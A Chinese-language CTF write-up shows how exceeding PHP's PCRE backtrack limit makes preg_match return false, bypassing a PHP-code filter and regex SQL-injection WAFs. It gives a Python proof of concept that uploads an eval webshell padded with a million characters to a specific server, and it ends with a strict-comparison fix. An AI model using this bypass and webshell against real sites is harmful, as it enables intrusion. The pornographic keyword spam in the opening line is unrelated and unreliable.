欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PCRE回溯次數(shù)繞過安全限制的正則解析

 更新時間:2022年04月11日 17:37:36   作者:PHITHON  
這篇文章主要為大家介紹了PCRE回溯次數(shù)繞過安全限制的正則解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步早日升職加薪

這次Code-Breaking Puzzles中我出了一道看似很簡單的題目,將其代碼簡化如下:

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判斷一下用戶輸入的內(nèi)容有沒有PHP代碼,如果沒有,則寫入文件。這種時候,如何繞過is_php()函數(shù)來寫入webshell呢?

這道題看似簡單,深究其原理,還是值得寫一篇文章的。

正則表達式是什么

正則表達式是一個可以被“有限狀態(tài)自動機”接受的語言類。

“有限狀態(tài)自動機&rdquo;,其擁有有限數(shù)量的狀態(tài),每個狀態(tài)可以遷移到零個或多個狀態(tài),輸入字串決定執(zhí)行哪個狀態(tài)的遷移。

而常見的正則引擎,又被細分為DFA(確定性有限狀態(tài)自動機)與NFA(非確定性有限狀態(tài)自動機)。他們匹配輸入的過程分別是:

  • DFA: 從起始狀態(tài)開始,一個字符一個字符地讀取輸入串,并根據(jù)正則來一步步確定至下一個轉(zhuǎn)移狀態(tài),直到匹配不上或走完整個輸入
  • NFA:從起始狀態(tài)開始,一個字符一個字符地讀取輸入串,并與正則表達式進行匹配,如果匹配不上,則進行回溯,嘗試其他狀態(tài)

由于NFA的執(zhí)行過程存在回溯,所以其性能會劣于DFA,但它支持更多功能。大多數(shù)程序語言都使用了NFA作為正則引擎,其中也包括PHP使用的PCRE庫。

回溯的過程是怎樣的

所以,我們題目中的正則<\?.*[(`;?>].*,假設(shè)匹配的輸入是<?php phpinfo();//aaaaa,實際執(zhí)行流程是這樣的:

見上圖,可見第4步的時候,因為第一個.*可以匹配任何字符,所以最終匹配到了輸入串的結(jié)尾,也就是//aaaaa。但此時顯然是不對的,因為正則顯示.*后面還應(yīng)該有一個字符[(`;?>]。

所以NFA就開始回溯,先吐出一個a,輸入變成第5步顯示的//aaaa,但仍然匹配不上正則,繼續(xù)吐出a,變成//aaa,仍然匹配不上……

最終直到吐出;,輸入變成第12步顯示的<?php phpinfo(),此時,.*匹配的是php phpinfo(),而后面的;則匹配上[(`;?>],這個結(jié)果滿足正則表達式的要求,于是不再回溯。13步開始向后匹配;,14步匹配.*,第二個.*匹配到了字符串末尾,最后結(jié)束匹配。

在調(diào)試正則表達式的時候,我們可以查看當前回溯的次數(shù):

這里回溯了8次。

PHP的pcre.backtrack_limit限制利用

PHP為了防止正則表達式的拒絕服務(wù)攻擊(reDOS),給pcre設(shè)定了一個回溯次數(shù)上限pcre.backtrack_limit。我們可以通過var_dump(ini_get('pcre.backtrack_limit'));的方式查看當前環(huán)境下的上限:

這里有個有趣的事情,就是PHP文檔中,中英文版本的數(shù)值是不一樣的:

我們應(yīng)該以英文版為參考。

可見,回溯次數(shù)上限默認是100萬。那么,假設(shè)我們的回溯次數(shù)超過了100萬,會出現(xiàn)什么現(xiàn)象呢?比如:

可見,preg_match返回的非1和0,而是false。

preg_match函數(shù)返回false表示此次執(zhí)行失敗了,我們可以調(diào)用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);發(fā)現(xiàn)失敗的原因的確是回溯次數(shù)超出了限制:

所以,這道題的答案就呼之欲出了。我們通過發(fā)送超長字符串的方式,使正則執(zhí)行失敗,最后繞過目標對PHP語言的限制。

對應(yīng)的POC如下:

import requests
from io import BytesIO
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

PCRE另一種錯誤的用法

延伸一下,很多基于PHP的WAF,如:

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述問題,通過大量回溯可以進行繞過。

另外,我遇到更常見的一種WAF是:

if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

這里涉及到了正則表達式的“非貪婪模式”。在NFA中,如果我輸入UNION/*aaaaa*/SELECT,這個正則表達式執(zhí)行流程如下:

  • .+?匹配到/
  • 因為非貪婪模式,所以.+?停止匹配,而由S匹配*
  • S匹配*失敗,回溯,再由.+?匹配*
  • 因為非貪婪模式,所以.+?停止匹配,而由S匹配a
  • S匹配a失敗,回溯,再由.+?匹配a
  • ...

回溯次數(shù)隨著a的數(shù)量增加而增加。所以,我們?nèi)匀豢梢酝ㄟ^發(fā)送大量a,來使回溯次數(shù)超出pcre.backtrack_limit限制,進而繞過WAF:

修復(fù)方法

那么,如何修復(fù)這個問題呢?

其實如果我們仔細觀察PHP文檔,是可以看到preg_match函數(shù)下面的警告的:

如果用preg_match對字符串進行匹配,一定要使用===全等號來判斷返回值,如:

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

這樣,即使正則執(zhí)行失敗返回false,也不會進入if語句。

以上就是PCRE回溯次數(shù)繞過安全限制的正則解析的詳細內(nèi)容,更多關(guān)于PCRE回溯次數(shù)繞過安全限制的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評論